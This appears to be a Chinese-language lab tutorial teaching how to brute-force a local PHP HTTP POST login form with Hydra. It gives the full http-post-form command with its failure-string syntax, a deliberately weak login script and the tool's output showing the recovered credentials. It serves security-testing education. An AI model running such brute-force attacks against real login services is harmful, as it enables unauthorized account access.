介绍
在这个实验(Lab)中,我们将探索 Hydra 中可用的 HTTP POST 选项,重点关注如何有效地针对使用 HTTP POST 进行身份验证的服务。我们将学习如何指定用户名和密码,以及 POST 请求应该发送到的 URL。
这个实验(Lab)将指导你完成以下内容:查看 HTTP POST 选项、设置 HTTP POST 表单、使用特定选项运行 Hydra,以及验证 POST 攻击。你将学习如何使用 Hydra 对使用 HTTP POST 进行身份验证的服务进行暴力破解登录凭据。
在这个实验(Lab)中,我们将探索 Hydra 中可用的 HTTP POST 选项,重点关注如何有效地针对使用 HTTP POST 进行身份验证的服务。我们将学习如何指定用户名和密码,以及 POST 请求应该发送到的 URL。
这个实验(Lab)将指导你完成以下内容:查看 HTTP POST 选项、设置 HTTP POST 表单、使用特定选项运行 Hydra,以及验证 POST 攻击。你将学习如何使用 Hydra 对使用 HTTP POST 进行身份验证的服务进行暴力破解登录凭据。
在这一步,我们将探索 Hydra 中可用的 HTTP POST 选项。Hydra 是一个用于暴力破解登录凭据的强大工具,它支持各种协议,包括 HTTP POST。当针对使用 HTTP POST 进行身份验证的 Web 应用程序时,我们需要向 Hydra 提供有关登录表单的特定信息。
使用 Hydra 进行 HTTP POST 的基本语法如下:
hydra -l <username> -P <password_list> <target_ip> http-post-form "<url>:<post_data>:<failure_string>"
让我们分解一下关键组件:
hydra: 调用 Hydra 的命令。-l <username>: 指定一个用户名用于攻击。如果你有一个用户名列表,你可以使用 -L <username_list> 选项。-P <password_list>: 指定包含要尝试的密码列表的文件的路径。<target_ip>: 目标服务器的 IP 地址。http-post-form: 指定我们正在使用 HTTP POST 表单模块。此模块旨在攻击使用 POST 方法的 Web 表单。"<url>:<post_data>:<failure_string>": 这是至关重要的一部分,它告诉 Hydra 如何与登录表单交互。
<url>: 处理 POST 请求的登录脚本或页面的路径(例如,/login.php)。<post_data>: 将在 POST 请求正文中发送的数据。这通常包括来自 HTML 表单的用户名和密码字段的名称,以及 Hydra 将填写的用户名和密码的占位符。占位符通常是用户名使用 ^USER^,密码使用 ^PASS^(例如,username=^USER^&password=^PASS^)。<failure_string>: 出现在登录尝试失败的响应中的字符串。Hydra 使用此字符串来确定登录尝试是否不成功。你需要通过手动尝试使用不正确的凭据登录并观察响应来识别此字符串。在接下来的步骤中,我们将设置一个简单的 HTTP POST 表单,然后使用 Hydra 攻击它,应用这些选项。
在这一步,我们将设置一个简单的 HTTP POST 表单,可以用作 Hydra 攻击的目标。在设置阶段,我们已经在 ~/project 目录中创建了必要的文件(login.html 和 login.php)。
让我们检查这些文件的内容,以了解表单的结构以及 PHP 脚本如何处理登录尝试。
首先,我们来看看 login.html:
cat ~/project/login.html
<!doctype html>
<html>
<head>
<title>Login Form</title>
</head>
<body>
<h1>Login</h1>
<form method="post" action="login.php">
<label for="username">Username:</label><br />
<input type="text" id="username" name="username" /><br /><br />
<label for="password">Password:</label><br />
<input type="password" id="password" name="password" /><br /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
这段 HTML 代码定义了一个使用 POST 方法并将数据提交到 login.php 的表单。输入字段的名称是 username 和 password。这告诉我们 POST 数据应该包括 username=<value> 和 password=<value>。
现在,我们来看看 login.php:
cat ~/project/login.php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == 'testuser' && $password == 'password') {
echo "Login successful!";
} else {
echo "Invalid username or password";
}
?>
这个 PHP 脚本检查提交的 username 是否为 testuser,以及 password 是否为 password。如果匹配,它将输出 "Login successful!"。否则,它将输出 "Invalid username or password"。
从这个脚本中,我们可以识别出失败字符串:“Invalid username or password”。这是 Hydra 将在响应中查找的字符串,以确定登录尝试是否失败。

现在我们了解了表单的结构和失败消息,我们已经拥有了在下一步中构建 Hydra 命令所需的所有信息。
在进行下一步之前,请验证 PHP Web 服务是否正在运行并且可访问。在你的终端中运行以下命令:
curl -s http://0.0.0.0:8080/login.php
如果你看到页面内容(例如 "Invalid username or password"),则服务正在正常运行。

如果没有响应或你收到连接错误,你可以手动启动 PHP 内置 Web 服务器,使用:
nohup php -S 0.0.0.0:8080 -t /home/labex/project > /dev/null 2>&1 &
稍等片刻,然后再次尝试 curl 命令。
现在我们已经设置了目标 HTTP POST 表单并了解了其结构,我们可以使用 Hydra 尝试暴力破解登录凭据。我们将使用上一步中收集的信息来构建 Hydra 命令。
我们知道以下几点:
/login.php。username=^USER^&password=^PASS^ 格式。testuser 和密码列表 ~/project/password.txt。0.0.0.0(假设 Web 服务器在本地运行)。让我们将这些组合成一个 Hydra 命令:
hydra -l testuser -P ~/project/password.txt 0.0.0.0 -s 8080 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid username or password"
在终端中执行此命令:

Hydra 现在将开始尝试使用指定的用户名和密码列表中的密码登录到目标表单。它将向 http://0.0.0.0:8080/login.php 发送 HTTP POST 请求,其中包含用户名和 POST 数据中的每个密码。如果响应不包含失败字符串 "Invalid username or password",Hydra 将认为登录尝试成功并报告凭据。
输出将显示攻击的进度。由于正确的密码(password)包含在我们的 password.txt 文件中,Hydra 最终应该找到它。
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-22 09:55:07
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-post-form://0.0.0.0:8080/login.php:username=^USER^&password=^PASS^:F=Invalid username or password
[8080][http-post-form] host: 0.0.0.0 login: testuser password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-22 09:55:08
[http-post] host: 0.0.0.0 login: testuser password: password 这一行表明 Hydra 成功找到了正确的凭据。
在这一步,我们将通过两种方式验证 Hydra 成功识别了 testuser 帐户的正确密码:
[8080][http-post-form] host: 0.0.0.0 login: testuser password: password
这行表明 Hydra 找到了有效的凭据:用户名 testuser,密码 password。
要访问 LabEx 环境中的登录表单:
/login.htmltestuserpassword
如果你在提交表单后看到 "Login successful!",这确认了 Hydra 找到的凭据确实是正确的。
如果你没有看到成功消息,请回顾之前的步骤以确保:
~/project 中的 password.txt 文件包含密码 password~/project 中的 login.php 文件正确检查了用户名 testuser 和密码 password,并返回了相应的消息php -S 0.0.0.0:8080 -t /home/labex/project 重新启动它)通过成功完成此步骤并通过 Hydra 的输出和手动测试验证凭据,你已经证明了你使用 Hydra 发现有效登录凭据并确认其真实性的能力。
在这个实验中,我们探讨了如何使用 Hydra 攻击使用 HTTP POST 进行身份验证的 Web 应用程序。我们了解了 http-post-form 模块所需的主要选项,包括指定目标 URL、包含用户名和密码占位符(^USER^ 和 ^PASS^)的 POST 数据格式,以及识别响应中的失败字符串以检测不成功的登录尝试。
我们设置了一个简单的 HTML 表单和一个 PHP 脚本来模拟登录页面,这使我们能够理解 POST 请求的结构和预期的响应。通过构建和执行适当的 Hydra 命令,我们成功地暴力破解了登录凭据,展示了 Hydra 在攻击 HTTP POST 表单方面的强大功能。
你已经学会了如何:
这个实验提供了使用 Hydra 进行 HTTP POST 攻击的基础理解,这是 Web 应用程序安全测试中的常见场景。